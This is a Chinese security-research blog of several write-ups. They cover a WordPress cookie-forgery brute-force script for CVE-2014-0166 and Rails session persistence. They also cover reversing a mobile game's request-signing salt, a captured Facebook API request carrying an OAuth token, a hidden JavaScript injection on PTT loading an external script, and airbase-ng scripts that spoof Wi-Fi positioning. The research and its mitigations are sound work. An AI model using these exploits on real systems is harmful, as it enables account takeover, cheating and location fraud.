Shaolin.TW

shaolin's 20% time

CVE-2014-0166 Wordpress 偽造 Cookie 弱點

本篇同步刊載於 DEVCORE 官方部落格

前言

在一陣 OpenSSL Heartbleed 淘金潮中,又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發-CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點,攻擊者可以暴力偽造出合法 cookie,藉此獲得 WordPress 最高權限,進而拿到 shell 取得系統操作權。 讓我們來分析一下這次的弱點是發生了什麼事吧!

解析

這次出問題的程式碼在這邊,關鍵程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
  $hash = hash_hmac('md5', $username . '|' . $expiration, $key);

  if ( $hmac != $hash ) {
    /**
     * Fires if a bad authentication cookie hash is encountered.
     *
     * @since 2.7.0
     *
     * @param array $cookie_elements An array of data for the authentication cookie.
     */
    do_action( 'auth_cookie_bad_hash', $cookie_elements );
    return false;
  }

問題主要發生在比較運算子 != 上面,!= 運算子是 non-strict,會在比較前先做型態轉換,所以下面看似應該是回傳 true 的例子,全部都顯示為 false,細節請參閱官方手冊

1
2
3
4
5
var_dump(0 != "a"); // 0 != 0 -> false
var_dump("1" != "01"); // 1 != 1 -> false
var_dump("10" != "1e1"); // 10 != 10 -> false
var_dump(100 != "1e2"); // 100 != 100 -> false
var_dump( "0" != "0e10123456789012345678901234567890" ); // 0 != 0 -> false

進入正題,WordPress 認證身分用的 cookie 內容是這樣的:『username|expiration|hmac』。 username 是使用者名稱, expiration 是有效期限(timestamp), hmac 值用來驗證 cookie 是否合法。 從上面程式碼可以看到,hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法,就可以成功偽造成 username。

利用稍早提到的比較運算子問題,若我們讓 cookie 中的 hmac 值為 0,很有可能讓判斷式變成下面這樣:

1
2
3
4
5
//if ( $hmac != $hash ) {
  if ( "0" != "0e10123456789012345678901234567890" ) {
    do_action( 'auth_cookie_bad_hash', $cookie_elements );
    return false;
  }

如此便可以通過驗證,成功偽造合法 cookie。 而為了讓 $hash == 0,可以不斷改變 cookie 中的 expiration,讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。 符合 $hash == 0 的 MD5 $hash 值有 0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)

故出現 $hash == 0 的機率為 Sum(10n,n=0,30)/1632 = 3.265262085617465e-09

每次偽造的成功機率約為三億分之一,並不會很高,但已經足夠在一個月內拿到最高權限,而且所耗成本並不會很高。

實驗

為了驗證此方法之可行性,我們架設了 WordPress 3.8.1 環境。並且寫程式將登入 cookie 中的 hmac 設為 0,不斷調整 expiration 值測試是否已經登入,程式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
require 'httpclient'

http = HTTPClient.new

cookie_name = "wordpress_logged_in_de5be3cf9fcea023a1303527e10ea67a"
timestamp = Time.now.to_i

(timestamp..timestamp+800000000).each do |time|
  result = http.get('http://domain.my/wordpress/', nil, {"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"})
  if result.body.include? 'logout'
    puts "admin%7C#{time}%7C0"
    break
  end
end

註:此程式為 POC,請自行調整為多執行緒版本,不然速度會很慢。

經過一段長時間的等待,得到的結果如下:

暴力偽造 cookie,直到成功登入

得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時,伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值: admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖,實驗成功!

利用偽造的 cookie 登入 WordPress

註:一般狀況,若不知道 WordPress 最高權限的帳號,可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。

結論

最近出現了一個高風險通報 CVE-2014-0166,其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點,可以偽造合法 cookie,進而取得 WordPress 管理權限。本文分析了其原理,並且證實之。

對於攻擊者而言,雖然每次偽造 cookie 成功的機率約為三億分之一並不高,但發送三億個 request 後或許能拿到最高權限,已經是值得投資的級數。

對於 WordPress 管理者而言,建議立即更新至 3.8.2 以後版本,以免受到此風險攻擊。

從此事件也提醒了 PHP 開發者,在撰寫重要的驗證行為,要特別注意 PHP 比較運算子的特性,請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣,避免因為轉型造成的資安風險。

Rails CookieStore 的安全議題

前言

上週在 exp.tw 上面看到 WhiteHat Security 公布本年度最新、最有創意的 web 攻擊手法候選名單。曾經我也寫過一陣子 Rails ,所以在清單中看到有一條關於 Ruby on Rails 的議題稍感興趣,這個風險叫做「Ruby on Rails Session Termination Design Flaw」,投稿的文章在此

此風險是關於 Rails 的 session 儲存機制。Rails 預設的 session 值是存在 cookie 裡面,即 ActionDispatch::Session::CookieStore,該投稿文章提到 session 如果使用預設的 CookieStore 機制,產生的 session cookie 永不失效,即使登出後產生了新的 session cookie,舊有的 session cookie 仍然可以拿來作為認證用途。直接拿本站 logdown 平台當範例說明,如下面影片:

這有什麼樣的風險呢?這個風險在於,只要你有一次在不安全的網路環境中被偷走 session cookie,即使你登出了,別人還是可以利用那組 session cookie 盜用你的身分。就好像你家裡鑰匙被偷走了,不管如何換門鎖,別人還是可以自由進出你家。

台灣有一半以上 RoR 網站使用 CookieStore 做為 session 存儲方式(全世界也是啦!),所以這個問題值得提一下,本篇就來探討為什麼會有這樣的狀況,以及如何解決這樣的問題。

原理

CookieStore 的儲存機制

在開始解說原理之前,我們先要了解 CookieStore 機制到底在 session cookie 裡面存了什麼東西?我們先建立一個乾淨的 rails 環境,然後我們在程式裡面加上 session 值, key 叫做 secret 好了。

1
session[:secret] = 'very secret'

瀏覽網頁後抓到的 session cookie 可能像這樣:

1
BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiJWNiMDhiMDIyNmM5MzFkNTY1NDcw\nMWY5ZmJmOTNkZDM0BjsAVEkiC3NlY3JldAY7AEZJIhB2ZXJ5IHNlY3JldAY7\nAFQ%3D--bfdd96e1d5157520226a160c571ab75a7342d8ee

這個 cookie 分成兩部分,分別用 “–” 符號區隔。前半部分是用 base64 編碼過後的 ruby 序列化物件,後半部是 HMAC,用來驗證前半部是不是合法的。試著解碼前半部份如下:

decode_cookie.png

可以看到解出來有一個 session_id ,另一個就是我們之前在程式裡面加的 secret。

1
{"session_id"=>"cb08b0226c931d5654701f9fbf93dd34", "secret"=>"very secret"}

由此可以看到,CookieStore 的儲存機制會把所有的 session 值放到 client 端的 cookie 裡面,所以 rails 官方安全說明文件也不斷提醒,如果使用 CookieStore 做為儲存 session 的方式,絕對不要存私密的東西,因為它僅用 base64 編碼而非加密。不過,即使 session 的內容能被解碼看似很不安全,但其實這個 session 值並不能輕易的被改變,因為有後半部的 HMAC 驗證,它會將前半部的值跟 server 端的 secret_token 做 SHA1 運算,如果前半部改變,後半部的 SHA1 值也不會對,使驗證失敗。

這裡又牽扯到另外一個問題,去年大概十二月出了一篇文章「 Let Me Github That For You」,提到目前有許多公開的 rails 專案把程式碼放在 github 上,其中包含了剛剛說的 secret_token,也就是說如果有了這個 secret_token,我們便可以自行偽造 session 值。

目前 Rails 4 之後已經預設會對 session cookie 加密,要看到 session 值已經沒有這麼容易了,但如果 secret_token.rb 還是放在公開的空間例如: Github,還是可以解開的。此外,本篇主要講的安全議題並不會受 Rails 4 這個機制影響。

對了,如果你看到 rails 網站的 session cookie 裡面含有 “–” 這個符號,可以用下面方式來解碼:

1
Marshal.load(Base64.decode64(session_cookie.split("--")[0]))

問題出在使用者的認證方式

說到 Rails 的會員和認證,通常會有比較多人使用 Devise 這個 gem 來幫忙處理,我們就拿 Devise 做一個測試站台來當做範例,分別來看看已登入的 cookie 和登出再登入的 cookie 有什麼不同。

以下是第一次登入時的 session cookie 值(已解碼):

1
2
3
{ "session_id"           => "088e4032f9579e118438dac62106bc1f",
  "warden.user.user.key" => [[1], "$2a$10$QrArbqRt.h7lW.tk6iKZie"],
  "_csrf_token"          => "mau7U+XrCOGTUtDSbx9RIMjFJLdxjK0cZ4DZGmfgozQ="}

以下是登出當下的 session cookie 值(已解碼):

1
2
3
4
{ "flash"      => #<ActionDispatch::Flash::FlashHash:0x007fe2ec66f6d0 @used=#<Set: {}>, 
                   @closed=false, @flashes={:notice=>"Signed out successfully."},
                   @now=nil>,
  "session_id" => "503c5adb9fbb06a3bc9a9af874d8377e"}

以下是登出後再重新登入的 session cookie 值(已解碼):

1
2
3
{ "session_id"           => "503c5adb9fbb06a3bc9a9af874d8377e",
  "warden.user.user.key" => [[1], "$2a$10$QrArbqRt.h7lW.tk6iKZie"],
  "_csrf_token"          => "r70bOzxJlMB/pN073OUB1Uml7ZEp0gjIHo4TQbZVN8Q="}

從上面三個可以看到兩件事情:

  1. Devise 實作登出時,是把整個 session 砍掉,重新給了一個新的 session (session_id 不一樣)
  2. 用來認證的 warden.user.user.key 值在不同的兩個 session 內都一樣

用來識別身分的值(此為 warden.user.user.key)在每次 session 中都一樣,所以不管 session 再怎麼刪去重建,因為識別的值沒有失效,永遠都可以合法通過身分驗證,這就是問題的核心點。與其說這是 rails 的問題,更貼切的說法是開發者在實作身分認證時沒有考慮到那些識別值需要有失效的時候。

其實 @current_user = User.find(session[:uid]) 在從前是再一般不過的寫法,因為通常 session 值都是存在 server 端,client 端只存放 session_id 用來當 server 端的 index,當 session 被清空意即所有的 session 值也一併失效。但在 CookieStore 機制下所有值都存在 client 端上,server 端很難控制這些值是不是已經永久失效,而原本的 session_id 只是中看不中用,完全沒有功用。你可能會好奇既然資料都存在 client 端,為什麼 session cookie 裡面還會有 session_id,這在官方文件中有描述:

For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it)

翻譯:session_id 就是擺在那邊好看的,你如果要用可以拿去用唷!揪咪 ^.<

解法

關於解決方案,共有兩個面向,一個是使用者如何自救,讓漂流在外面的眾多 session cookie 能夠失效,免得被有心人盜用;另一個是開發者如何從 server 端來修正 CookieStore 帶來的困擾。

如何讓之前所有的 session cookie 失效

原文中有提到讓 session cookie 失效的方法有二,一個是使用者改密碼,另一個是變更 server 端的 secret_token。前者是因為改密碼後 "warden.user.user.key" => [[1], "$2a$10$QrArbqRt.h7lW.tk6iKZie"] 值會改變(以 Devise 為例),造成用原本的值認證失敗。後者是改變 secret_token 後,原本 cookie 後半部 HMAC 的部份就會因為 key 變了而驗證失敗,造成整個 cookie 失效。

但兩種方法都不是很方便,對使用者而言,更不可能改到 secret_token。而且,改密碼這招並不一定對每個站都有效,例如我正在使用的 logdown(又中槍XD)就不會因為改變密碼而讓 session cookie 失效。

logdown 的 session cookie 大概是這個樣子(已解碼):

1
2
3
4
5
6
7
{ "session_id"           => "234a5fe379e6fd7285c119a912bf8875",
  "_csrf_token"          => "kBUbkc+uwJf2jAf2BNxen//qDnbanIWt1p66ChTZj74=",
  "user_id"              => #<OmniAuth::AuthHash credentials=#<OmniAuth::AuthHash expires=true expires_at=1387100895 refresh_token="3dfdef72eb7c1f40b1b6a5f01e0a5711" token="a9545433a04a0af603839bd5924a8da5">
                              extra=#<OmniAuth::AuthHash name="cookie_store"> 
                              info=#<OmniAuth::AuthHash::InfoHash email=nil> 
                              provider="logdownid" uid="5566">,
  "warden.user.user.key" => [[5566], "$2a$13$W6UrdvOhr3YTyYt4S1kbSe"]}

實驗過後,更改密碼確實會讓 warden.user.user.key 的值有所改變,但 logdown 似乎沒有使用 Devise 的 current_user helper,猜測是直接使用 @current_user = User.find(session[:user_id].uid) 之類的方式抓使用者。可惡害我之前看到 warden.user.user.key 改變還可以正常登入時見獵心喜,以為是 Devise 驗證那塊出了什麼問題 QQ

小結就是使用者要自行讓 session cookie 失效非常的麻煩,甚至有可能做不到。唯一的方法可能就是打電話給開發者拜託他們關注一下這個問題了吧 XD

server 端的防禦方針

從提供安全服務的角度來看,我們已經不能再給一份真摯的 cookie 一個一萬年的期限,否則駭客將會踏著七色的雲彩而來。給 cookie 一個有效期限,或是直接讓 cookie 生於 server、死於 server,才是解決這個問題的大方向。以下整理三點方案提供參考:

  1. 不使用預設的 CookieStore 做為 session 儲存方式,在 ActionDispatch::Session 裡面有其他四種儲存方式可以選擇。缺點就是需要額外的硬體支援,執行起來也沒有 CookieStore 來的快,看服務取向來 trade-off 囉!

  2. 在 session cookie 裡面加入一個 timeout 值,每次進入主要程式前都先檢查傳進來的 session cookie 是否過期,如果過期該 cookie 就無效,可以參考這篇上面的作法。缺點是這個方法靈活度不大,可能會造成使用者三不五時需要重新登入,或 cookie 在過期前仍然有被盜用的風險。

  3. 既然 rails 在 session cookie 提供一個 session_id 值,我們便可以在 server 端建立一個合法 session_id 清單(存於記憶體),使用者登入時把該使用者的 session_id 存入合法清單中;登出時把該使用者的 session_id 從合法清單中移除。在進入主要程式前都先檢查使用者的 session_id 是否存在在合法清單中,如果不合法則不給予使用者權限。實作上可參考這篇下面的部份,但還要注意這個合法清單可能會有不斷膨脹的問題。

當然,減少被盜的風險(例如使用 https)也是另外一個角度的解決方案。『永遠都偷不走的 session』VS 『就算被偷也會失效的 session』XD 不過想想,無論做再多防禦,還是無法保證 session cookie 不會被偷走(直接到受害者電腦去拿防不了了吧),所以多少還是要思考一下如何在受害後降低傷害的方式。

結論

因為 rails 預設的 CookieStore session 儲存機制,以及慣用的 session 認證方式,導致任何曾經認證過的 session cookie 永遠不會失效。這個現象會讓所有曾經在不安全網路下使用部分 rails 服務的使用者,有永久被盜用的風險。

本文透過小實驗說明這件事情發生的原因,並稍微提及其他 CookieStore 機制產生的問題。最後整理了三點方案,建議開發者要加入能夠控制 session cookie 存亡的機制,以避免這個風險。

神魔之塔脫機自動戰鬥

前言

最近下載了神魔之塔這款遊戲…orz。 我發現在 Facebook 打廣告還算有用,真的就是因為他出現贊助在我牆上太多次,才決定下載試試看,而且當我意識到的時候,我已經花了整整一天在轉珠上面了,也難怪神魔之塔版會佔據 PTT 熱門看板前幾名,不是沒有道理 XD 我喜歡從應用層的協定來了解一款網路遊戲,了解程式和程式間的溝通,總能更了解開發者的思維。身為一個研究僧,動手來看看神魔之塔的 API 吧!

發現

一開始錄封包還滿訝異的,因為它是走 HTTP,沒有 SSL/TLS 的狀況下很容易被偷走遊戲資訊,而且其 session 好像大喇喇的出現在 GET 參數裡面,如下面一個取得獎賞清單的請求:

http://zh.towerofsaviors.com/api/user/reward/list?uid=400000000&session=21232f297a57a5a743894a0e4a801fc3&language=zh_TW&platform=android&version=3.27&timestamp=1234567890&timezone=8&nData=8d777f385d3dfec8815d20f7496026dc&hash=5f4dcc3b5aa765d61d8327deb882cf99

不過其實神魔之塔這款遊戲帳號被偷走也不太會有影響,畢竟虛擬的卡片也不能流通。影響比較大能想到的就是把其他玩家六星神卡當肥料餵史萊姆。(但有人會這麼無聊嗎?)

神魔之塔的 API 還滿清楚簡單的,結構一目了然。唯一讓我有興趣的,是 hash 那個參數,因為如果對請求做了修改,伺服器就會回傳 Invalid Hash Code.,看起來這串 hash 值是對所有參數做某種演算法的結果。

所以我就翻翻翻,翻到了產生 hash 的演算法:

1
hash = Checksum.GetHash("/api/" + path + URLBuilder.BuildQuery(dictionary, true), string.Empty);

其中 GetHash 是下面這個樣子。

1
2
3
4
5
6
public static string GetHash(string input, string salt = "")
{
     string str = "YmZhYTRkNzIwM2VkODhhZTZiZTg4MDU2NWFlYjkxMDU=" + salt;
     string str2 = Encryption.MD5(input).Substring(4, 4);
     return Encryption.MD5(str2 + str);
} 

在有了這串 hash 演算法的前提下,可以做的事情好像就很多了,例如說 自動戰鬥

實作

為了要證實這樣的想法,我寫了一支程式去測試。模擬戰鬥中的參數,然後送出戰鬥勝利的請求。實作影片如下:

這只是一支 POC (Proof of Concepts) 程式,雖然看起來很強大,但就寫到這邊為止了。要不是前兩天陪朋友們去參加比賽,我順便去練練程式,不然這應該永遠只是一個 concept 而已。 利用同樣的前提,以下還有其他猜想,但我已經不會去驗證了: - 感覺夠做到自動化首抽,應該可以不受官方開新帳號的限制 - 例如在戰鬥中回合次數改成 9999,不知道會不會把 skill 等級提昇

結論

本篇從神魔之塔 API 的角度出發,嘗試了解參數的意義,並實作程式自動化戰鬥。 從這件事情也學習到,在開發者的角度,有必要在重要的加密程序上做一些混淆,可以增加有心人解析的困難度。

我能夠預料到這篇文章寫出來有些人可能會有問題想問,但這只是我突發奇想做的事情,也不會繼續研究下去,所以請原諒我不會在這篇文章下回應留言。

Facebook 修改文章 API

前言

前幾天發現手機版 Facebook 多出了『編輯貼文』的功能,才發現最近 Facebook Android App Beta 3.7 版本多了一個 feature:Edit your posts and comments, and tap to see all your changes。目前網頁介面都還沒有看到可以編輯貼文的地方,這很特別,一個 web 起家的服務推出新功能是先從手機版開始!

facebook_android_edit_post.png

編輯貼文的功能大家已經期待很久,我特別好奇它的 API 是長什麼樣子,想看看是不是有機會讓 web 版也能搶先使用,所以就從 Facebook 手機端應用程式抓出修改文章的 API,與大家分享。

Facebook Edit Post API

完整的 HTTP request 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST https://graph.facebook.com/
Authorization: OAuth CAACEdEose0cBAPWltYXWoy3oTEyNmbtqM51q5w0NSwKcTy9HzZnB7CfrWpFoGYMVhv84UadAX6xmck5si23bwTtKPyDESRjquegLJNQDTGcxAzt749pdPqjv56i8FVN3osfSry2hBQKZWeUYngwMabEmHukRCLJXe5ksqvdfCB3YU6yz4uGnHK8gFbSx7TRhMt9a2AZJLEpPmWNrQD
Host: graph.facebook.com
Accept-Encoding: gzip
User-Agent: [FBAN/FB4A;FBAV/3.7;FBBV/353711;FBDM/{density=1.5,width=480,height=800};FBLC/zh_TW;FBCR/中-華-電-信-;FBPN/com.facebook.katana;FBDV/HTC Incredible S;FBSV/4.0.4;FBOP/1;FBCA/armeabi-v7a:armeabi;]
Content-Type: multipart/form-data; boundary=_--5h40l1n47D3VC0RE
--_--5h40l1n47D3VC0RE
Content-Disposition: form-data; name="batch"
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

[{"method":"POST","body":"message=after+edit&format=json","name":"editPost","omit_response_on_success":false,"relative_url":"820574444_10151876422189445"}]
--_--5h40l1n47D3VC0RE--

使用上需要修改的是 Authorization、POST 裡面的 messagerelative_url 三個地方。 Authorization:OAuth 後面接的是 Access Token,可以到 Graph API Explorer 去抓一個暫時的來用。 message:這邊放你貼文的新內容。 relative_url:想修改的貼文 object_id,格式是 (發文者的 facebook uid)_(該貼文的 post id)

以下利用 Firefox 的 add-on : HttpRequester 發送 HTTP 請求來修改文章。

為了實驗能否在 web 端使用,我先在 Graph API Explorer 測試此 API,發現都會回傳 (#200) User does not have permission to edit this object

graph_fail.png

後來才發現這個 API 會認 User-Agent,如果是非手機端的 User-Agent 使用此 API,即使是使用相同的 Access Token,一樣會回傳 (#200) User does not have permission to edit this object

user_agent_change.png

至於大家最關心的可能是,如果把 relative_url 的 object id,改成別人的 post id,是不是就可以 修改別人的貼文 了呢?傻傻的,同樣的問題 Facebook 都碰過好多次了,有這種想法太天真了!

change_post_id.png

(嗯..沒錯..天真的是我 XD)

結論

Facebook 終於開始在手機端提供修改文章的功能了,可惜的是這個 API 會對 User-Agent 做檢查,不太方便做成 extension 讓大家搶先使用。如果目前有修改文章的需求,使用 Android 吧 :p 此外,本篇也稍稍的測試了一下前陣子 Facebook 出事的權限管控問題,看起來沒有什麼大問題,哈!

在 PTT 插 Javascript

註:本文發表時,PTT 官方已經修正這個問題

前言

幾天前從 Facebook 上看到一篇 PTT 的轉錄文章,因為該篇文章沒有斷行,讓我對 BBS 文章轉 HTML 的 parser 運作產生好奇,然後在研究過程中竟意外發現 PTT 可以插入 javascript:

像這樣在 BBS 標題區塊加入 javascript 的文字 bbs_1.png 轉成 html 時因為沒有過濾掉,在 web 介面上 javascript 就被正確執行 web_1.png 在 web 介面上看到的原文變成這樣 web_2.png

PTT 的文章常常在 Facebook 被轉載,擁有擴散率高的特性,如果被植入惡意程式,其實影響範圍不小。 身為目標是維護世界和平的資安研究僧,我開始模擬駭客的思維,猜測駭客可能會關注下面兩點:

  1. 此弱點可利用的長度,至少要放的下 <script src="http://data.shaolin.tw/js/ptt.js"></script> (這是舉例,網址可以更短) 這類的東西才可以做更多事情,不然只是跳出 alert 好像太虛了。

  2. 猜測駭客都有為善不欲人知的特質,即使在 web 介面上看不出被插了 javascipt,但在 BBS 介面大喇喇的被所有人看到自己在這篇文章插 javascript, 應該會有些害羞吧!

所以本篇就來想辦法看看有沒有辦法解決上面兩個問題吧!

思考與實作

前述第一點弱點可利用的長度應該不是什麼大問題,畢竟整塊作者、標題、時間都存在相同的問題,標題欄位要放個 4X 個字元是很足夠的。重點還是該如何在 BBS 介面不被讓人家發現寫了一長串跟內文無關的東西。

那,該如何在 BBS 文章中隱藏那串怪異的程式碼,又必須把它放到作者、標題、時間那的區塊裡面呢?

第一個想法,是利用鄉民低調最常使用的色碼,希望可以在 script 那串文字上面做出藍底藍字的效果,混在標題列就可以不被人發現有貓膩了。可惜的是,標題那塊不能使用色碼 XD

第二個想法,是利用位移碼 + 色碼,希望能夠在文章內文寫下藍底藍字的 script,然後位移到標題藍色區塊,不但解決了第一個想法中標題區塊不能用色碼的問題,在文章內文寫 script 要多長就有多長也不怕不夠用,這真是太聰明的作法了!!!現在只擔心轉換 html 的程式會不會正確處理位移碼而已了,嗯嗯。 興奮之餘趕快去測試了一下,痾,位移碼不能用了~~ 年輕人終究是年輕人,太天真惹XD

最後我想到 BBS 一行可以存 512 個字元,而且在標題藍色區塊,超過 78 個字元的部份似乎都不會顯示。所以只要在標題區塊上任一欄向後補空白字元補滿 78 個字元,後面要放什麼東西都隨便,長度很夠,也不會被顯示出來。很簡單的作法,效果也最好!實作的方式如下面的影片:

至於為什麼不隨便空 n ( n>78 )個空白就好了,而是要剛剛好讓前面是 78 個字元?因為 web 頁面超過 78 個字元就會換行,看起來會很怪,如下圖,藍色區塊多了一行 one_more_line.png

最後成功的 html 長得大概像這樣,要放 iframe 或更多 html tag 都可以了 src.png

結論

本文首先利用了 PTT 轉 HTML 在標題區塊的小疏忽,在 web PTT 上成功插入了 javascript。 接著,利用標題區塊在 BBS 上僅顯示前 78 個字元的特性,在 BBS 介面隱藏了惡意的程式碼。 其實插 javascript 並不是一件稀有的事情,也不需要特別撰文描述,但很少會碰到需要隱藏這些 script 的狀況,所以特別分享之XD

既然都發了這篇文,想要順便提一下一個觀念:『除非真的很確定,否則不要相信任何 input!』。身為程式開發者,當然也會覺得要做到這件事情超麻煩,但在開發的過程中,想想不同的 input 跑到你的程式碼中會變成什麼樣的結果,真的也是一種趣味。而且,這個觀念能帶來的會是安全的程式碼,是應該內化到每個開發者的重要準則阿!

阿對了,我還要說,PTT 修正這個問題的速度超快的啦!寄信沒多久就解了,讚耶!

Wi-Fi Positioning System 欺騙 (2)

前言

上一篇的實驗中,我們能夠透過假造 AP 資訊來欺騙手持裝置,使其地理位置改變。但改變位置到一個定點好像沒有這麼好玩,如果我想要讓位置移動,塑造高超走位!高超走位!的效果呢?今天的主題,就來讓偽造的地理位置移動起來吧!

實作

話不多說,沒圖沒真相,直接放結果影片:我寫了一個 demo script,每 20 秒會換一次 AP set,所以可以看到手機定位的位置差不多 20 秒會移動一次!

script 的內容大致如下:

demo.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash

WLANIFACE=wlan0   # 網路卡介面

ifconfig $WLANIFACE down
iwconfig $WLANIFACE mode monitor
ifconfig $WLANIFACE up

# 台灣基督長老教會景美教會
gnome-terminal -e "airbase-ng -c 11 -e 'OOOOOOOO OOOOOO' -a 12:34:56:cd:bb:ee $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 11 -e 'PPPPPPPPP_PPPP_PP' -a 00:dd:44:cc:55:66 $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 1 -e 'UUUUUU' -a aa:11:44:33:aa:cc $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 1 -e 'HHHHH' -a 34:34:34:27:27:27 $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 11 -e 'DDD-DDDDD' -a ff:77:88:55:66:11 $WLANIFACE" &
sleep 20
killall airbase-ng

# 景華公園平面配置圖
gnome-terminal -e "airbase-ng -c 6 -e 'WWWWW' -a 00:88:22:22:bb:22 $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 6 -e 'TTT-FFFF' -a 00:11:22:22:44:11 $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 7 -e 'CCCC hhh' -a 44:77:00:ff:33:aa $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 11 -e 'HHHH' -a 44:aa:33:cc:dd:44 $WLANIFACE" &
gnome-terminal -e "airbase-ng -c 1 -e '1234567' -a 00:00:cc:cc:aa:aa $WLANIFACE" &
sleep 20
killall airbase-ng

技術層面來說,這只是不斷切換欲偽造地點的 AP 資訊而已,每 20 秒換一次。比較困難的是要如何收集這些 AP 資訊並且變成上面的 shell script,畢竟要手動做這些事情非常的繁瑣,所以我又寫了一支程式解決這個需求:

collect.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env ruby
#encoding: UTF-8


comment = ARGV[0] || "報告學長,完全沒有描述"
collect_count = (ARGV[1] || 5).to_i

raw_data = `/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s`

# log raw_data
File.open("log/raw.txt", 'a') do |file|
  file.puts "# #{comment}"
  file.puts raw_data
end

# collect all AP info in hash
lines = raw_data.split(/[\r\n]/)
lines.shift
wifi_info = lines.map{|line|
  next if (line[1..32].nil? or line[33..-1].nil?)
  ssid    = line[1..32].strip
  cols    = line[33..-1].split(' ')
  bssid   = cols[0]
  signal  = cols[1].to_i
  channel = cols[2].split(',').first.to_i

  if signal != 0
    { ssid: ssid, bssid: bssid, signal: signal, channel: channel}
  else  # parse error
    next
  end
}.compact

# sort with signal
wifi_info.sort_by! {|x| x[:signal]}

# log top n AP info
top_wifi = wifi_info.reverse.first collect_count
puts top_wifi
File.open("log/collect.txt", 'a') do |file|
  file.puts "# #{comment}"
  top_wifi.each do |info|
    file.puts "gnome-terminal -e \"airbase-ng -c #{info[:channel]} -e '#{info[:ssid]}' -a #{info[:bssid]} $WLANIFACE\" &"
  end
  file.puts "sleep 50"
  file.puts "killall airbase-ng"
end
puts "已經新增[#{comment}] #{top_wifi.size} 筆 AP 資訊"

這支程式是 Mac Only,執行後會抓出當下周圍的 AP 資訊,並擷取訊號強度前 n 筆(預設是 5 筆)的 AP,輸出成前面的 shell script 樣式。執行時的畫面大概長這樣:

wifi_collection.png

結論

為了滿足我們想要製造手持裝置是在移動中的效果,可以透過持續偽造不同的 AP 來達成。本文提供了一段可以自動化切換偽造 AP 的 script 範例,還有一支用來收集 AP 資訊的程式。這樣一來,即使在家裡也可以在虛擬的世界啪啪造了!至於這到底有什麼實際上的應用,我也還沒有想到就是了 XD

Wi-Fi Positioning System 欺騙 (1)

背景

目前手機的定位,一般來說有 全球定位系统(GPS)基地台定位(LBS)wifi定位(WPS)三種。 GPS 是手機接受到衛星訊號算出所在位置。 基地台定位主要是根據手機基地台來決定手機位置,可以透過 Google Maps Geolocation API 把基地台 LAC、CID 等資訊丟去查詢,會得到經緯度資訊。或是這裡直接有介面可以查詢:

參考輸入: MCC: 466 (Taiwan) MNC: 92 (Chungwa) 其他 MCC、MNC 資訊可以上 wikipedia 查詢 LAC、CID 資訊如果是 android 手機可以在撥打電話介面輸入『 * # * # 4 6 3 6 # * # * 』; iphone 手機可以在撥打電話介面輸入『 * 3 0 0 1 # 1 2 3 4 5 # * 』查看

wifi 定位是利用附近 WiFi access point 的資訊(主要是 MAC),去資料庫比對查詢這些 AP 所在位置,並根據 AP 訊號的強弱,推算出手持裝置的位置。同樣的我們也可以用 Google Maps Geolocation API 查詢:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# POST 以下 AP 資訊 (json format),是在台電大樓附近抓到的網路資訊
#  https://www.googleapis.com/geolocation/v1/geolocate?key=API_KEY
{
   "wifiAccessPoints":[
      {
         "macAddress":"78:cd:8e:a6:--:--",
         "signal":-67
      },
      {
         "macAddress":"ce:5d:4e:eb:--:--",
         "signal":-87
      }
   ]
}

Google 會回傳

1
2
3
4
5
6
7
{
   "location":{
      "lat":25.0184355,
      "lng":121.5305968
   },
   "accuracy":150.0
}

回傳的經緯度的位置在這邊,其實離我抓取 AP 資訊的位置非常非常近呢!

如果今天我們想要偽造自己的真實地理位置,最有效的方法,應該是偽造外部的訊號:偽造衛星訊號、偽造基地台訊號或者偽造 WiFi 訊號,讓手機抓到這些訊號後以為自己是在別的地方。我明瞭透過軟體可以直接修改位置,市面上也有很多程式可以做到,但這些程式多半是利用手機 MockLocations 的機制,許多應用程式會去禁止這些行為。所以,基於研究精神,想要去探討是否有其他可以偽造位置的方式。

假設

